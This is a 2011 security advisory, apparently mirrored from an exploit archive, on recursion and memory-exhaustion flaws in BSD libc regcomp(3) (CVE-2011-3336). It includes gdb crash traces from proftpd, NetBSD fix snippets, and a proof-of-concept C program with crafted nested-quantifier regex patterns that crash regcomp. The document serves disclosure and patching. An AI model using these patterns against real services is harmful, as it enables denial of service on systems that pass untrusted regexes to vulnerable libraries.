BSD libc/regcomp(3) Memory Management / Recursion



EKU-ID: 1276 CVE: 2011-3336 OSVDB-ID:
Author: Maksymilian Arciemowicz Published: 2011-11-07 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ]

Author: Maksymilian Arciemowicz
http://www.netbsd.org/donations/
http://securityreason.com/
http://cxib.net/

Date:
- - Dis.: 05.10.2011
- - Pub.: 04.11.2011

CVE: CVE-2011-3336

Affected Software:
- - NetBSD 5.1 (fixed)
- - OpenBSD 5.0
- - FreeBSD 8.2
- - MacOSX


Original URL:
http://securityreason.com/achievement_securityalert/102


- --- 0.Description ---
regcomp() compiles the regular expression contained in the pattern
string, subject to the flags in cflags, and places the results in the
regex_t structure pointed to by preg.

cflags is the bitwise OR of zero or more of the following flags:

REG_EXTENDED
Compile modern (extended) REs, rather than the obsolete (basic) REs that
are the default.

REG_BASIC
This is a synonym for 0, provided as a counterpart to REG_EXTENDED to
improve readability.


- --- 1.  Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ---
In regcomp(3) of BSD implementation, i've discovered a several flaws.
Similar problem was diagnosed one year ago in GNU libc (01.10.2010). But
GNU regcomp() code is different from BSD.

Recursion and bad memory managment, may admit to unexpected end of
application. Together with NetBSD we have decided to fix all these
flaws. Most important was limit of recursion for REG_EXTENDED and
REG_BASIC, and get better control over memory usage.

Specifically crafted .ftpaccess file can return result as below
- -proftpd---
# telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ProFTPD 1.3.3f Server (ProFTPD Default Installation) [127.0.0.1]
user dude
331 Password required for dude
pass dude

and in the same time

# gdb -q proftpd 15814
(no debugging symbols found)
Attaching to program: /usr/local/sbin/proftpd, process 15814
Reading symbols from /usr/lib/libutil.so.11.2...done.
Loaded symbols for /usr/lib/libutil.so.11.2
Reading symbols from /usr/lib/libc.so.58.0...done.
Loaded symbols for /usr/lib/libc.so.58.0
Reading symbols from /usr/libexec/ld.so...done.
Loaded symbols for /usr/libexec/ld.so
0x001f39e9 in select () from /usr/lib/libc.so.58.0
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0026d951 in memcpy () from /usr/lib/libc.so.58.0

crash in regcomp()

...
	assert(finish >= start);
	if (len == 0)
		return(ret);
	enlarge(p, p->ssize + len);	/* this many unexpected additions */
	assert(p->ssize >= p->slen + len);
	(void)memcpy(p->strip + p->slen, p->strip + start,
	    (size_t)len * sizeof(sop));
...
(gdb) x/i $eip
0x2d42951 <memcpy+61>:  repz movsl %ds:(%esi),%es:(%edi)
...
- -proftpd---


Uncontrolled memory exhaustion, allow to create an RE consuming all free
memory. As we can read in manual:

- -man regcomp 3--
regexec() performance is poor.  This will improve with later releases.
nmatch exceeding 0 is expensive; nmatch exceeding 1 is worse.
regexec is largely insensitive to RE complexity except that back
references are massively expensive.  RE length does matter; in
particular, there is a strong speed bonus for keeping RE length under
about 30 characters, with most special characters counting roughly double.

regcomp() implements bounded repetitions by macro expansion, which is
costly in time and space if counts are large or bounded repetitions are
nested.  An RE like, say, `((((a{1,100}){1,100}){1,100}){1,100}){1,100}'
will (eventually) run almost any existing machine out of swap space.
- -man regcomp 3--

Using RE like `((((a{1,100}){1,100}){1,100}){1,100}){1,100}' may lead to
out of swap space. It can be helpful to attack last stable version of
proftpd.

To fix memory exhaustion problem, we should create some limit of memory
usage. In my opinion 128MB is optimal limit for one regcomp(3) call.
Then function, checking memory usage like below

- -part-of-fix--
214: #define        MEMLIMIT        0x8000000
215: #define MEMSIZE(p) \
216:        ((p)->ncsalloc / CHAR_BIT * (p)->g->csetsize + \
217:        (p)->ncsalloc * sizeof(cset) + \
218:        (p)->ssize * sizeof(sop))
219: #define        RECLIMIT        256
- -part-of-fix--

should solve problem with memory exhaustion.

In regcomp() we have a few recursion loops:
- - p_ere <> p_ere_exp
- - p_bre <> p_bre_exp
- - repeat

We need to create a limit for the two main functions p_ere and p_bre_exp

#define	RECLIMIT	256

- -REG_EXTENTED---
341: p_ere(
342:     struct parse *p,
343:     int stop,                  /* character this ERE should end at */
344:     size_t reclimit)
345: {
...
351:
352:        _DIAGASSERT(p != NULL);
353:
354:        if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {
355:                p->error = REG_ESPACE;
356:                return;
357:        }
358:
359:        for (;;) {
360:                /* do a bunch of concatenated expressions */
361:                conc = HERE();
362:                while (MORE() && (c = PEEK()) != '|' && c != stop)
363:                        p_ere_exp(p, reclimit); <=== RECURSION
p_ere_exp <> p_ere
...
394: static void
395: p_ere_exp(
396:     struct parse *p,
397:     size_t reclimit)
398: {
...
420:                if (!SEE(')'))
421:                        p_ere(p, ')', reclimit); <=== RECURSION
p_ere <> p_ere_exp
...
- -REG_EXTENTED---

and adding code like:

+	if (reclimit++ > RECLIMIT)
+		p->error = REG_ESPACE;
+	if (p->error)
 		return;

should protect us before huge complexity for REG_EXTENTED and REG_BASIC.

The same limit implements to p_bre:
- -REG_BASIC---
...
570: static void
571: p_bre(
572:     struct parse *p,
573:     int end1,          /* first terminating character */
574:     int end2,          /* second terminating character */
575:     size_t reclimit)
576: {
577:        sopno start;
578:        int first = 1;                  /* first subexpression? */
579:        int wasdollar = 0;
580:
581:        _DIAGASSERT(p != NULL);
582:
583:        if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {
584:                p->error = REG_ESPACE;
585:                return;
586:        }
587:
...
595:        while (MORE() && !SEETWO(end1, end2)) {
596:                wasdollar = p_simp_re(p, first, reclimit); <===
RECURSION p_bre_exp <> p_bre
597:                first = 0;
...
613: static int                     /* was the simple RE an
unbackslashed $? */
614: p_simp_re(
615:     struct parse *p,
616:     int starordinary,          /* is a leading * an ordinary
character? */
617:     size_t reclimit)
618: {
...
650:        case BACKSL|'(':
651:                p->g->nsub++;
652:                subno = p->g->nsub;
653:                if (subno < NPAREN)
654:                        p->pbegin[subno] = HERE();
655:                EMIT(OLPAREN, subno);
656:                /* the MORE here is an error heuristic */
657:                if (MORE() && !SEETWO('\\', ')'))
658:                        p_bre(p, '\\', ')', reclimit); <===
RECURSION p_bre <> p_bre_exp
...
- -REG_BASIC---

That all about fixes.

For REs like

"(\(\(\(\(\(\(\(\(...)"
"(((...(.*))))"

regcomp() should crash with stack exhaustion symptom

This bug has been used to denial of service proftpd 1.3.3f in openbsd
4.9 and netbsd 5.1. Similar problem has been reported in GNU libc.
Anyway Redhat has decided to not solve the problem:
- ---
Statement:

Red Hat does not consider crash of client application, using regcomp()
or regexec() routines on untrusted input without preliminary checking
the input for the sanity, to be a security issue (the described deficiency
implies and is a known limitation of the glibc regular expression engine
implementation). The expressions can be modified to avoid quantification
nesting, or program modified to limit size of input passed to regular
expression engine. We do not currently plan to fix these flaws. If more
information becomes available at a future date, we may revisit these issues.
- ---

regcomp() is not only used in client application. proftpd uses regcomp()
in .ftpaccess file. Now we should know, who has right? Red Hat or
proftpd has made a mistake using regcomp() in code? GNU need more
information to revisit this issue :)


- --- 2. PoC ---
/* poc.c

pattern1:
./poc '(.?)((((.*){1,100}){1,100}){1,100}){1,100}'

pattern2:
./poc
'(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}'
Memory fault (core dumped)
gdb openbsd 4.9:
1275            (void) memcpy((char *)(p->strip + p->slen),
(gdb) print p->slen
$14 = 218103912
(gdb) print start
$15 = 107
(gdb) print len
$16 = 218103802
(gdb) x/x p->slen
0xd000068:      Cannot access memory at address 0xd000068
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0x02d42951 in memcpy () from /usr/lib/libc.so.58.0
(gdb) x/i $eip
0x2d42951 <memcpy+61>:  repz movsl %ds:(%esi),%es:(%edi)
(gdb) x/x $esi
0xbf3ce190:     0x70000064
(gdb) x/x $edi
0xf33ce184:     Cannot access memory at address 0xf33ce184


and more patterns from
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c

*/
#include <regex.h>
#include <stdio.h>

int
main (int argc, char *argv[])
{
	regex_t preg;
	int a=regcomp(&preg, argv[1], REG_EXTENDED);
	printf("a:%i\n",a);
	return 0;
}


- --- 3. Fix ---
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regcomp.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/engine.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regex2.h

tests:
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/Makefile
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c


- --- 4. References ---
GNU/regcomp() vulnerability
http://www.kb.cert.org/vuls/id/912279
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4051
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4052

Statement:
https://bugzilla.redhat.com/show_bug.cgi?id=645859#c6

Exploit:
tested: ubuntu 11.10 and proftpd 1.3.4rc2
http://cxib.net/stuff/proftpd.gnu.c


- --- 5. Greets ---
Christos Zoulas, sp3x, Infospec

and thanks for US-CERT for coordinating


- --- 6. Contact ---
Author: Maksymilian Arciemowicz

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.net/
http://cxib.net/

- -- 
Best Regards
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@cxib.net>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJOs++hAAoJEIO8+dzW5bUwl2YP/3outkBGAEnesEWJmxosEoI1
OgJW31rb4qY66ctN3Ib+4yFX93QAUKL0kX7K2pa2FFdP3c+N5cNU0lFOb6QLFZ/g
PrGwmvW0/YxZGynoSsytf0sI5cVoO/EgkqX2/x08Xzl48CDHE+xwZKPV5eFdHFw/
Dhji+PuAPUEmvRfr2qN76xRwGtAIYf5mQz7pvcHUtQuvgBnnNFzZmMDbbTdjxMm6
ZmUWGtG3Yth/VXlEvsdx7ehY98N5qayAVvDtItvWZf08HLNOkwKO0fla0u7Eackb
wiJLim/dc3TxHgmZRN/hyupT0idq9Mt1CQ5pgmiP9UPJaJKUmSZFi+CKYqUO5OKi
5tOkILVJmwKGFnGg+dU5Ulm6WoOR809jn9DnTfR3Pg7j0NoDMcbc/r1Ekoemq55X
hrVfse2nEFxbw7iCRgq4lb7cucpq2+Po/hycdGOkq3/o2eVXa/qwb7EGLcmiMRtM
gk1A/H1X8QG0wHohIdRbpWmTKBHYCXPXCihbdsPZqTTebsjYMoYmv8m4O72PXf6l
aiev8Yl70nzc02B6y8F0cYZt+PC/kMm8TEiLXXmRB/aYYH/IYU32TDmQiT6tKSDf
S0mZyybR9eJfUbtuyaSHSHyqheVfcG3iMurzKOiPMmexVLKx9B1ENbwqdE9Zu4/i
uZXhFALblAvW44nsjVcI
=uCkI
-----END PGP SIGNATURE-----